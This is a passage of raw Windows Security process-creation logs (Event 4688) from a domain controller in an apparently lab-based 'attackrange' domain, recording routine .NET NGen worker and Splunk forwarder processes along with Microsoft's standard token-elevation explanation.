that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255159 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x940 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 370 -Pipe 354 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255158 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255157 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe40 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 848 -InterruptEvent 0 -NGENProcess 838 -Pipe 808 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255167 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa2c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 838 -Pipe 858 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255166 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9dc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 318 -InterruptEvent 0 -NGENProcess 7d4 -Pipe 2ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255165 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x118c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 330 -InterruptEvent 0 -NGENProcess 858 -Pipe 324 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255164 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 838 -InterruptEvent 0 -NGENProcess 294 -Pipe 844 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255171 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1154 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255170 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 814 -InterruptEvent 0 -NGENProcess 81c -Pipe 294 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255169 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7d4 -InterruptEvent 0 -NGENProcess 6b0 -Pipe 830 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255168 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255174 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1214 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2cc -InterruptEvent 0 -NGENProcess 330 -Pipe 27c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255173 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 804 -Pipe 6b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255172 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x898 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255178 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 83c -Pipe 30c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255177 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf94 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 810 -InterruptEvent 0 -NGENProcess 2b8 -Pipe 848 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255176 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf3c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 848 -InterruptEvent 0 -NGENProcess 318 -Pipe 824 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255175 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7d4 -InterruptEvent 0 -NGENProcess 804 -Pipe 298 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255182 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe40 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator 